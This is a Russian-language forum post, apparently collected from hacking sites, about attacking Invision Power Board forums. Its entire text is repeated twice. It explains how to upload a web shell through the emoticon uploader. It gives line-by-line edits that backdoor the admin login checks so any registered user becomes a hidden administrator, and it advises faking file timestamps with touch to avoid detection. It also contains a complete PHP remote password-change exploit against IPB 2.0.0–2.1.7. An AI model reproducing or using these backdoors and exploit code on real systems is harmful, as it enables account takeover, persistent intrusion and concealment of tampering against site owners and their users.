Вот, что удалось найти на разных хакерских сайтах:
<div align="center"><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo--><b>Заливаем шелл</b><!--sizec--></span><!--/sizec--></div>
<b>Invision Power Board 1.3</b>
"Administration(Администрирование)"->"Manage Emoticons(Управление смайлами)"->"Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)"->"Browse(Обзор)"
Обычно шелл грузица в одну из этих папок,в зависимости от версии,если конечно прав хватает
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.
<b>Invision Power Board 2.0.*</b>
Троянизация форума
А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)
<b>Invision Power Board 1.3</b>
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->
и заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->
и ищим строчки (по дефолту 442 строчка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->
заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--> if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->
потом редактируем файл /sources/Admin/ad_mysql.php и удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
<b>Invision Power Board 2.0.*</b>
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else
{<!--c2--></div><!--ec2-->
и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 0;<!--c2--></div><!--ec2-->
меняем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 1;<!--c2--></div><!--ec2-->
потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->f ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}
то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200710190921
где 2007 год 10 месяц 19 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.
<div align="center"><b><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo-->Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit<!--sizec--></span><!--/sizec--></b></div>
PHP
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--><?php
/*
Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator
This works if:
"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on
In General Configuration of the forum software.
*/
// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";
// An existing user's login name
$name = "admin";
// The new password(3-32 characters)
$pass = "1234";
// You can use a proxy...
// $proxy = "1.2.3.4:8080";
// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}®id={$regid}®_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}®id={$regid}®_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?><!--c2--></div><!--ec2-->
<div align="center"><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo--><b>Заливаем шелл</b><!--sizec--></span><!--/sizec--></div>
<b>Invision Power Board 1.3</b>
"Administration(Администрирование)"->"Manage Emoticons(Управление смайлами)"->"Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)"->"Browse(Обзор)"
Обычно шелл грузица в одну из этих папок,в зависимости от версии,если конечно прав хватает
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.
<b>Invision Power Board 2.0.*</b>
Троянизация форума
А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)
<b>Invision Power Board 1.3</b>
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->
и заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
$session_validated = 1;
$this_session = $row;
}<!--c2--></div><!--ec2-->
и ищим строчки (по дефолту 442 строчка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->
заменяем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--> if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );<!--c2--></div><!--ec2-->
потом редактируем файл /sources/Admin/ad_mysql.php и удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
<b>Invision Power Board 2.0.*</b>
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else
{<!--c2--></div><!--ec2-->
и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 0;<!--c2--></div><!--ec2-->
меняем на
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->$this->ipsclass->admin_session['_session_validated'] = 1;<!--c2--></div><!--ec2-->
потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1-->f ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}<!--c2--></div><!--ec2-->
А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}
то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200710190921
где 2007 год 10 месяц 19 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.
<div align="center"><b><!--sizeo:3--><span style="font-size:12pt;line-height:100%"><!--/sizeo-->Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit<!--sizec--></span><!--/sizec--></b></div>
PHP
<!--c1--><div class='codetop'>Код</div><div class='codemain'><!--ec1--><?php
/*
Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator
This works if:
"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on
In General Configuration of the forum software.
*/
// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";
// An existing user's login name
$name = "admin";
// The new password(3-32 characters)
$pass = "1234";
// You can use a proxy...
// $proxy = "1.2.3.4:8080";
// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}®id={$regid}®_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}®id={$regid}®_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?><!--c2--></div><!--ec2-->